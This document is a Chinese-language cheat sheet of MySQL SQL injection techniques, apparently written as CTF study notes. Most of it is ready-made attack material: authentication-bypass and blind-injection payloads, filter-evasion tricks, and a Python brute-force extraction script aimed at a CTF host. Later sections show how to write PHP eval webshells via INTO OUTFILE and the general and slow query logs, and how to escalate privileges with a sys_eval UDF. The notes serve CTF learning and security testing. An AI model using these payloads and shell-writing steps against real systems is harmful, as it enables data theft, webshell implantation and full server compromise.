1 information_schema常规查询流程
information_schema中的三个特殊表:
一个是schemata,一个是tables(有21列),一个是columns,
schema纪录数据库中所有的数据库名
tables 纪录数据库中所有的表,column纪录数据库中所有的表和列;
爆库:
select group_concat(schema_name) from information_schema.schemata
爆表
select group_concat(table_name) from information_schema.tables where table_schema = '某某'
select group_concat(table_name) from information_schema.tables where table_schema = database() #有时候会这样
爆字段
select group_concat(column_name) from information_schema.columns where table_name = '某某'
爆值
select group_concat(*) from 表 (where 字段=某某)
select group_concat(,xxx,xxx) from xxx.xxx
select group_concat(concat_ws(0x7e,xxx,xxx)) from xxx.xxx
ctf
最后一个爆值一般是
select group_concat(username) from users
select group_concat(password) from users
group_concat可以用concat_ws替换
数据库名可以用十六进制替换:0x十六进制的数据库名
2 闭合字符
- 引号类
'
"
)
')
")
数字型,考虑使用注释符
- 注释符
#
--+
/**/
- %00
因为#,-都被过滤,于是采用%00进行截断,注意如果在输入框中直接输入%00,那么就会被编码成%2500,然后计算机在解码成%00,会黑名单过滤
在bp中直接输入%00,防止二次编码可以达到截断的作用
如果写python脚本的话,由于要防止二次编码,%00要写作parse.unquote(‘%00’)
比如说脚本
import requests
import time
from urllib import parse
import string
url="http://53329c83-815a-48d8-9191-6c3270f58121.node4.buuoj.cn:81/index.php"
passwd=''
proxies = { "http": None, "https": None} #3.7以后要添加代理池
strings='_'+string.ascii_lowercase+string.digits
for pos in range(1,10000):
for asci in strings:
data={
"username":"\\",
"passwd":'||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+asci,parse.unquote('%00'))
}
resp = requests.post(url=url,data=data,proxies=proxies);
#print(resp.text)
if 'welcome' in resp.text:
print('true')
passwd = passwd + asci
print("[*]passwd : "+passwd)
break
- 斜杠
注释符和引号被过滤尝试斜杠,斜杠可能可以转义掉单引号
\
对应的解决方案呢就是做转义喽,同理还有跨域攻击
- 编码类
以md5为例:
如果是md5后的password,源码如下
select * from `admin` where password='".md5($pass,true)."'
payload如下
ffifdyop //md5(’ffifdyop',true) === $a; $a="'or'1";
3 万能钥匙-验证逻辑
3.1 没有回环验证
demo:
后端是直接没有回环验证的情况,且存在sql注入时,万能钥匙直接秒
$res = mysql_querry("select id from users where username='"+$_POST['username']+"' and password = '"+$_POST['password']+"';")
if($res){
print("success! this is your flag{xxx}")
}
payload
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
' or '1
另一种类型是(利用联合查询产生虚拟数据欺骗php脚本)
admin=' union select 1,2,3;#&passwd=3
如果是md5后的password,源码如下
select * from `admin` where password='".md5($pass,true)."'
payload如下
ffifdyop //md5(’ffifdyop',true) === $a; $a="'or'1";
3.2 有回环验证
3.2.1 利用REPLACE
'UNION SELECT REPLACE(REPLACE('"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#',CHAR(34),CHAR(39)),CHAR(36),'"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#') AS pw#
3.2.2 利用线程表
1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na
me/**/like'%connection%'/**/limit/**/1,1)t#
3.3 利用注册
可以用约束攻击
看下面第4点
4 约束攻击
条件
有表里有控制长度
原理
INSERT语句:截取前20个字符
SELECT语句:输入什么就是什么
所以insert一个”admin “
那么select的时候就可以绕过”此用户已注册“,但是后续insert却只截取admin(空格也被省略了),
demo
<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
die('账号已注册');
}else{
$sql2="insert into users values('$username','$password');";
mysqli_query($conn,$sql2);
die('注册成功');
}
<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username' and password='$password';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$username;
}else{
echo 'fail';
}
create table users(
username varchar(20),
password varchar(20)
)
5 联合查询
特点
将查询的结果显示出来
利用
- 判断注入点闭合情况
- 通过
order by
查列数 - 通过union进行联合查询
' union select 1,2,database()--
6 报错注入
6.1 updatexml和extractvalue
适用版本:5.1.5+
updatexml
select xxx or updatexml(1,concat(0x7e,payload,0x7e),1)
extractvalue
select 1,2,extractvalue(1,concat(0x7e,payload,0x7e))
原理:
updatexml原理:(Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,
Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回
值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内
容)sql报错注入:extractvalue、updatexml报错原理-阿里云开发者社区 (aliyun.com)
extractvalue原理:Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回
值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容)
6.2 exp、pow、溢出
适用版本:5.5.5~5.5.49
select exp(~(select * from(select user())a));
select pow(2,~(select * from(select user())a));
select 1+(~(select * from(select user())a));
6.3 floor双注入查询
rand+group+count
利用:
select count(*),concat(user(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x;
原理分析见:rand+group+count报错注入分析:rand+group+count报错注入分析 (wolai.com)
6.4 不存在函数
通过不存在函数报错得到当前数据库名
select a();
ERROR 1305 (42000): FUNCTION test.a does not exist
6.5 name_const
查询数据库版本
select * from(select name_const(version(),1),name_const(version(),1))a;
6.6 uuid
适用版本:8.0.x
利用:
select uuid_to_bin((database()));
select bin_to_uuid((database()));
6.7 join using
查询字段名
select * from(select * from tb1 a join(select * from tb1)b)c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1))c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1,cl2))c;
6.8 gtid
仅一列,可查user()、version()、database()
select gtid_subset(user(),1);
select gtid_subtract(user(),1);
6.9 polygon
前提:知道字段名(一般用id)
报当前查询语句的库、表、字段
mysql> select flag from ctf where polygon(id);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`id`' value found during parsing
mysql> select flag from ctf where polygon(flag);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`flag`' value found during parsing
6.10 cot
前提:知道字段名(一般用id)
报当前查询语句的库、表、字段
mysql> select username from users where cot(username);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(`ctf`.`users`.`username`)'
mysql> select username from users where cot(concat('a',id));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(concat('a',`ctf`.`users`.`id`))'
6.11 其他报错函数
适用版本:低于mysql(5.6.22)
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
7 堆叠注入
原理
可执行多条sql语句,例如
$mysqli->multi_query($sql);
7.1 写文件
set global general_log=on;
set global general_log_file='/var/www/html/shell.php';
select "<?php eval($_POST['jan']);?>";
7.2 查询
查表名:show tables
查字段:show columns
7.3 handler+show
绕过select过滤
handler users open as hd;#指定数据表,返回句柄
handler hd read first;#读取指定表首行数据
handler hd read next;#读取下一行
handler hd close;#关闭句柄
如果想看数据库、表、字段,如下payload:
show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;
7.4 预处理/预编译
原理:当你进行如下预编译语句时,mysql是可以执行的;(那么我们就做到了类似于eval这样强制把字符串执行的作用)
如
prepare st from concat('s','elect',' * from table_name');
execute st;
一种比较长的写法
set @a ='payload'; 设置(声明)一个变量并赋予它一个值;
prepare b from @a; 设置一个命令 并把前面的变量赋给它;
execute b; 执行这个命令
例子
set @hmt = concat('sel','ect flag from `1919810931114514`; ') ;prepare a from @hmt;execute a;
8 布尔盲注
8.1 特点
一般出现回显因为正误而不同的情况即可考虑布尔盲注
- 回显不同(内容、长度)
- HTTP响应状态码不同
- HTTP响应头变化(重定向、设置cookie)
- 基于错误的布尔注入
8.2 注意点
- 有时候报错注入就足够了
- 如果Timeout了,大概率是因为访问频率过高被ban了
8.3 payload格式
本质就是某个查询语句的回显结果是1还是0的区别,但其嵌入到不同的语句会看上去有不同的格式
-
if(ascii(substr(" +payload+",{0},1))={1},1,2) #substr式
-
admin'or/**/password>'1' #比较式(用于 过滤太多的情况,暂无脚本) 1^(password>'1') #比较式的一个变种
-
select 1+~0; #bigint溢出式,1为布尔点
-
cot(1) #1为布尔点 余切 mysql> select cot(1); +--------------------+ | cot(1) | +--------------------+ | 0.6420926159343306 | +--------------------+ 1 row in set (0.00 sec) mysql> select cot(0); ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
- exp:e的指数
select exp(999*1);--ERROR 1690 (22003): DOUBLE value is out of range in 'exp((999 * 1))'
select exp(999*0);--1
- pow:乘方
select pow(1,9999);
9 时间盲注
9.1 sleep
sleep(3)
9.2 benchmark
作用:
将表达式执行指定次数
语法:
benchmark(count,expr)
利用:
在执行次数比较多时,可以代替sleep函数
benchmark(1000000000,0)-- 三秒左右
benchmark(10000000,md5(0))-- 一秒左右
9.3 笛卡尔积
select count(*) from information_schema.columns a,information_schema.columns b;
select SUM(1) from information_schema.columns a,information_schema.columns b;
9.4 正则匹配
select rpad('a',99,'a') rlike concat(repeat('(a.*)+',30),'b');
9.5 get_lock(前置条件多), 正则
GET_LOCK(str, timeout)
对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间
SESSION A上锁,注入时的第一步也是对字段加锁
mysql> select get_lock('111',10);
+--------------------+
| get_lock('111',10) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.01 sec)
再打开一个终端SESSION B
mysql> select get_lock('111',5);
+-------------------+
| get_lock('111',5) |
+-------------------+
| 0 |
+-------------------+
1 row in set (5.00 sec)
可结合and短路运算规则进行时间盲注
select * from vorname where Vorname='Lina' and 1=1 and get_lock('111',2);
Empty set (2.00 sec)
限制条件
数据库连接必须是持久连接,这个我还没有实践过,参考参考文章,大概意思就是在数据库mysql_connect()到mysql_close()之间的生命周期才生效。
10 宽字节注入
10.1 前提
php和数据库编码字符集不同+使用了addslashes
而且,只有这个addslashes和预编译的情况可以把admin’这个东西插入到数据库中,但是预编译肯定不会作为sql题来出,所以必然是addslashes,考察宽字节注入
10.2 payload
payload (这个payload的结构在恶意代码中相当于报错注入闭合用的单引号、双引号)
%df%27
11 二次注入
原理:
1.查询时单引号被转义,但从数据库中取出的时候没有被转义(都是指php代码)
2.一个有问题的的数据(payload)被存入数据库中,之后的sql语句将该数据取出,然后再使用该数据去拼接sql语句,之后执行这个被拼接的sql语句!总结为一句话就是:sql语句拼接了有问题的数据然后执行。
demo看sql注入千层套路和jacko笔记
12 无列名注入
12.1 联合查询+别名
当column被过滤时,无法通过特殊库来获取列名,无法get flag
此时要先获取表的列数
- 用order by判断
- 直接union select判断
payload
select b from (select 1,2,3 as B union select * from user)a limit 1,1;
用 limit 1,1而不是用 limit 0,1,因为第 0行是列名(1/2/3)
原理:
利用union select创造的虚拟表格(一个两种数据拼在一起的表格)!!
12.2 比较法
select (select 'admin','~','~')<(select * from users where username='admin' limit 1);
13 table注入
table的语法是
table 表名
mysql> table Persons;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address | City |
+------+----------+-----------+--------------+---------+
| 1 | Gates | Bill | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)
mysql> table Persons limit 1;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address | City |
+------+----------+-----------+--------------+---------+
| 1 | Gates | Bill | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)
Table注入则是输出上述表后,自行创建另一个表与之比较(注意必须两边都用limit 1),
mysql> select 0 or (2,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (2,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
| 0 |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select 0 or (1,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (1,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
| NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select 0 or (0,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (0,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
| 1 |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select 0 or (-1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------------+
| 0 or (-1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------------+
| 1 |
+-------------------------------------------------------+
1 row in set (0.00 sec)
当回显null的时候刚好是1,这样可以知道Persons第一列的值是1
要是嫌麻烦,直接外面加cot()扁平化处理(加一些用于条件判断的,mysql上多试试就有)
mysql> select cot((2,null,null,null,null)<(table Persons limit 1));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(((2,NULL,NULL,NULL,NULL) < (select `my_dbThai`.`Persons`.`Id_P`,`my_dbThai`.`Persons`.`LastName`,`my_dbThai`.`Persons`.`FirstName`,`my_dbThai`.`Persons`.`Address`,`my_dbThai`.`Persons`.`City` from `my_dbThai`.`Persons` limit 1)))'
mysql> select cot((1,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((1,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
| NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select cot((0,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((0,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
| 0.6420926159343306 |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select cot((null,null,null,null,null)<(table Persons limit 1));
+---------------------------------------------------------+
| cot((null,null,null,null,null)<(table Persons limit 1)) |
+---------------------------------------------------------+
| NULL |
+---------------------------------------------------------+
1 row in set (0.00 sec)
1以后都不报错,这就是布尔点了
当不想注入其他列时(控制变量),可以都设置为null
mysql> select (null,null,null,null,null)<(table Persons limit 1);
+----------------------------------------------------+
| (null,null,null,null,null)<(table Persons limit 1) |
+----------------------------------------------------+
| NULL |
+----------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (0,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (0,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
| NULL |
+-------------------------------------------------+
1 row in set (0.00 sec)
14 比较大小
14.1 比较符与运算符
>
<
>=
<=
=
:等于,如果两个操作数均为NULL,则返回NULL<=>
:等于,但是如果两个操作数均为NULL,则返回1而不是NULL,如果一个操作数为NULL则返回0而不是NULL!=
:不等于<>
:不等于^
(异或,如果相同则回显0,不同回显1,常用于盲注,语法: num^num)- 等号:绕注释符
select '1'=(1)='1';
- 减法:绕注释符
select '1'-1-'';
- and、or+减法:
select 1 and ascii('a')-97;
select 0 or ascii('a')-97;
14.2 strcmp
select strcmp('a','b');-- -1
select strcmp('b','b');-- 0
select strcmp('c','b');-- 1
select strcmp('ab','b');-- -1
代替等号
where !strcmp(table_schema,'ctf');
14.3 between and
select 2 between 1 and 3;-- 1
select 'b' between 'a' and 'c';
代替等号
where table_schema between 'ctf' and 'ctf'
14.4 in
语法:
WHERE column_name IN (value1,value2,...)
利用:
可用于代替等号
where table_schema in ('ctf')
where id in(1,2)
14.5 like
当没有%
时,like
可代替等号
select 'abc' like 'abc';
14.6 regexp、rlike
代替等号
select 'abc' regexp '^abc$';
select 'abc' rlike '^abc$';
14.7 if,case比较
case:
select case 'a' when 'a' then 1 else 0 end;
select case when (1<2) then 1 else 0 end;
if:
select 1^(ascii('a')-96)^1;
elt:
1’ or elt(2>1,xxx)
14.8 instr
select instr('jacko','a');//2
14.9 行比较
select (2,1)>(1,2);-- 1
select (1,1)!=(1,2);-- 1
14.10 order by比较
select 's' union select 'test' order by 1 limit 1;
14.11 字符串与整型
字符串和整型比较时,会将字符串转成整型再比较
a
=>0
'12a'
=>12
14.12 字符串大小写
大小顺序:
- A-Z或a-z(不敏感)
- 0-9
- 特殊字符按ascii码顺序排序
大小写都不敏感:无论是关键字还是值,但在linux的mysql中,库名、表名都是敏感的
select 'a'='A';-- 1
select strcmp('test','TEST');-- 0
大小写敏感:
14.12.1 binary
方法一:在前面加上binary
使得大小写敏感
select 'abc'='ABC';--1
select binary 'abc'='ABC';--0
binary('字符串')
(当然也可以binary(0x某某))
14.12.2 COLLATE’utf8mb4_bin’
方法二:
前提:数据库以utf8mb4_bin
进行编码
后面接上 COLLATE’utf8mb4_bin’ 或者COLLATE utf8mb4_bin
14.12.3 编码类
方法三:
- bin();
- hex();
- md5();
15 字符串截取
15.1 left, right
语法:
left(str,len)
right(str,len)
left先reverse,再转ascii
15.2 substr, substring,mid
语法:pos从1开始
substr(str,pos,len)
substring(str,pos,len)
mid(str,pos,[len])
绕过:
绕过逗号
select substr('test',1,2);
select substr('test' from 1 for 2);
select substring('test',1,2);
select substring('test' from 1 for 2);
15.3 trim
select trim([both/leading/trailing] 'x' from 'xxx');
select trim(leading 'a' from 'abc');--bc
select trim(leading 'b' from 'abc');--abc
15.4 insert
select insert((insert('abcdef',1,0,'')),2,999,'');-- a
select insert((insert('abcdef',1,2,'')),2,999,'');-- c
16 编码
- ascii
select ascii('abc');-- 97
- ord
select ord('abc');-- 97
- bin();
- hex();
传入字符或十进制,返回十六进制
select hex('a');-- 61
select hex(97);-- 61
- md5();
编码转字符:
- unhex
- char
17 逗号被过滤
一般用到逗号都是联合查询&报错注入,或者时间盲注
时间盲注用case when的方法:
- case when
if 被过滤,可以用case when (时间盲注等情况)
select -1 or case when 1=1 then 1 else 0 end;
- substr 逗号被过滤,可以用substr(xxx from 1 for 1)
- ascii(mid(user(),1,1))=80 等于 user() like ‘r%’
- join
18 过滤空格
/**/ (首选) py脚本可以用replace函数,参考jacko脚本
%a0
%0a
%0d
%09
tab
- unicode编码(编码绕过)
-
两个空格
-
tab
-
括号(建议现在本地把payload测试完后再怼上去,先从小的往外面打括号)
例子
爆库
select(group_concat(schema_name))from(information_schema.schemata);
爆表
select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'test'
爆字段
select(group_concat(column_name))from(information_schema.columns)where(table_name='persons');
19 过滤单引号双引号
凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过
比如: hex绕过
select 0x74657374='test';-- 1
20 关键词绕过
- 大小写
针对正则没加/i参数的情形
- 双写
- 编码
凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过
比如: hex绕过
select 0x74657374='test';-- 1
- 相似函数替换
if 被过滤,使用case when
limit 可以用offset绕过,limit 0,1等于limit 0 offset 1
20.1 select 被过滤
table
mysql8
table :只能查询表,不能按列查询
table user; #相当于select * from user
table user order by username limit 1 offset 0;
table盲注原理示例:(元组的比较)
table盲注information_schema.tables示例:
"admin' or ("def","{0}",1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)=(table information_schema.tables order by CREATE_TIME desc limit 1,1)".format({i})
该表查阅官方文档有21列,1表示占位(回显True),此盲注可以把数据库名(table_schema)表名(table_name)一并注入出。
注意区分大小写,如使用hex,binary等(参考字符串大小写)
handler + show
如果想看表的内容,可以用handler的方式绕过,参考.payload如下
handler table_name open
handler table_name read first;
handler table_name read last;
handler table_name close;
如果想看数据库、表、字段,如下payload:
show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;
21 预编译绕过
原理:根据参数安全地替换占位符
- PDO 默认支持多语句查询,如果 php 版本小于 5.5.21
- 或创建 PDO 实例时未设置 PDO::MYSQL_ATTR_MULTI_STATEMENTS 为 false,可能会造成堆叠注入
- PHP PDO的模拟预编译语句和本地预处理语句存在差异
- PDO 默认开启模拟预处理,PDO 内部会模拟参数绑定的过程,SQL 语句是在最后 execute() 的时候才发送给数据库执行
- 非模拟预处理则是通过数据库服务器来进行预处理动作:第一步是 prepare 阶段,发送 SQL 语句模板到数据库服务器;第二步通过 execute() 函数发送占位符参数给数据库服务器进行执行
- 如果设置了 PDO::ATTR_EMULATE_PREPARES => false,那么 PDO 不会模拟预处理
- 如果还设置了 setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION) 的话,可以报错注入
- order by 之后需要的是一个表名,这个表名不能以字符串的形式存在。因此,该位置大概率会被写成拼接,这就造成了 SQL 注入的可能。
- like 在写法 like ‘%:username%’” 下存在注入,like concat(‘%’,:username,’%’) 下无法注入
22 猜测表
可以用exists函数
select flag from flag
select username,password from users
23 特殊库
23.1 information_schema库
表 | 字段 | 说明 |
---|---|---|
information_schema.schemata | schema_name | 库名 |
information_schema.tables | table_schema、table_name | 库名、表名 |
information_schema.columns | table_schema、table_name、column_name | 库名、表名、字段名 |
23.2 sys库
mysql5.7增加sys系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来
示例:
select table_schema from sys.schema_table_statistics group by table_schema;
表 | 字段 | 说明 |
---|---|---|
sys.innodb_buffer_stats_by_schema | object_schema | 库名 |
sys.innodb_buffer_stats_by_table | object_schema、object_name | 库名、表名 |
sys.io_global_by_file_by_bytes | file | 路径中包含表名 |
sys.io_global_by_file_by_latency | file | 路径中包含表名 |
sys.processlist | current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
sys.session | current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
sys.schema_auto_increment_columns | table_schema、table_name、column_name | 库名、表名、字段名 |
sys.schema_index_statistics | table_schema、table_name | 库名、表名 |
sys.schema_object_overview | db | 库名 |
sys.schema_table_statistics | table_schema、table_name | 库名、表名 |
sys.schema_table_statistics_with_buffer | table_schema、table_name | 库名、表名 |
sys.schema_tables_with_full_table_scans | object_schema、object_name | 库名、表名 |
sys.statement_analysis或者sys.x$statement_analysis | query、db | 请求访问的数据库名、数据库最近执行的请求 |
sys.version | mysql_version | mysql版本信息 |
sys.x$innodb_buffer_stats_by_schema | object_schema | 库名 |
sys.x$innodb_buffer_stats_by_table | object_schema、object_name | 库名、表名 |
sys.x$io_global_by_file_by_bytes | file | 路径中包含表名 |
sys.x$schema_tables_with_full_table_scans | object_schema、object_name | 库名、表名 |
sys.x$schema_flattened_keys | table_schema、table_name、index_columns | 库名、表名、字段名 |
sys.x$ps_schema_table_statistics_io | table_schema、table_name | 库名、表名 |
23.3 performance_schema
表 | 字段 | 说明 |
---|---|---|
performance_schema.objects_summary_global_by_type | object_schema、object_name | 库、表 |
performance_schema.table_handles | object_schema、object_name | 库、表 |
performance_schema.table_io_waits_summary_by_index_usage | object_schema、object_name | 库、表 |
performance_schema.table_io_waits_summary_by_table | object_schema、object_name | 库、表 |
23.4 mysql库
表 | 字段 | 说明 |
---|---|---|
mysql.innodb_table_stats | database_name、table_name | 表名 |
mysql.innodb_index_stats | database_name、table_name |
24 搭环境
24.1 搭建sqli-labs:
docker pull acgpiano/sqli-labs
24.2 搭建mysql8
docker run -d --name Mysql8 -e MYSQL_ROOT_PASSWORD=root -p 33306:3306 mysql:8.0.27
docker exec -it xxxxxx sh
mysql -u root -p
24.3 快速建库和表
CREATE DATABASE my_dbThai;
use my_dbThai;
CREATE TABLE Persons
(
Id_P int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);
INSERT INTO Persons VALUES (1,'Gates', 'Bill', 'Xuanwumen 10', 'Beijing');
24.4 mysql运维
- 重启mysql数据库:systemctl restart mysql
- 导入数据库
25 getshell
25.1 outfile和dumpfile写shell
利用条件
- 数据库当前用户为root权限;
- 知道当前网站的绝对路径;
- PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie)
- 写入的那个路径存在写入权限。
payload:
select '<?php eval($_POST[1]);?>' into outfile 'C:/phpstudy/WWW/1.php'
select '<?php eval($_POST[1]);?>' into downfile 'C:/phpstudy/WWW/1.php'
1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
25.2 表中写shell并导出
insert into`test1`(`username`) values ('<?php @eval($_POST[1]);?>');
select username from test1 into outfile 'D:/phpstudy_pro/WWW/shell.php';
25.3 开全局日志写shell
set global general_log=on;
set global general_log_file='/var/www/html/shell.php';
select "<?php eval($_POST[1]);?>";
25.4 慢查询日志写入shell
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%'
show global variables like '%long%'
查看慢日志参数
show global variables like '%slow%'
对慢日志参数进行修改
set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='c:\\phpstudy\\www\\test.php'#慢日志的路径注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间
26 提权
26.1 udf提权
udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。
- 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下
- 当MySQL>5.1版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。常用c语言编写。
使用方法:
假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval(‘dir’);的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把‘udf.dll’中的自定义函数引入进来。看一下官方文档中的语法:
看看实例用法:
CREATE FUNCTION sys_eval **RETURNS** STRING SONAME 'udf.dll';
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
至此我们已经引入了sys_eval函数,下面就是使用了。
这个函数用于执行系统命令,用法如下:
select sys_eval('cmd command');
准备工作:
一:查看 secure_file_priv 的值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限
show global variables like 'secure%';
我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。
- 如果 secure_file_priv为NULL是不能写入导出文件的。
- 如果secure_file_priv没有具体的值,则可以写入导出文件。
- secure_file_priv的值在MySQL数据库的安装目录的 my.ini 文件中配置。
二:查看plugin的值
但是实际测试发现UDF提权成功与否与该值无关。
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
- 当 plugin 的值为空时不可提权
- 当 plugin 值为 mysql_native_password 时可通过账户连接提权
三:查看系统架构以及plugin目录
show variables like '%compile%'; #查看主机版本及架构
show variables like 'plugin%'; #查看 plugin 目录
提权
现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
下面来整理一下思路:
- 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
- 从udf文件中引入自定义函数(user defined function)
- 执行自定义函数
先看第一步,拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can’t open shared library ‘udf.dll’。获取sqlmap的udf请看链接:https://blog.csdn.net/x728999452/article/details/52413974
然后将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex:
SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\gg.txt';
load_file中的十六进制是C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll
此时gg.txt文件的内容就是udf文件的16进制形式。
接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。
CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
上面第三步,mysql5.1以上的版本是默认没有plugin目录的,网上有说可以使用ntfs数据流创建:
select test into dumpfile 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
但是我本地测试一直没有成功。后来又在网上看了很多,都是用这种方法,看来是无解了。在t00ls上也有人说数据流从来没有成功过,所以说mysql5.1以上的提权能否成功还是个迷。
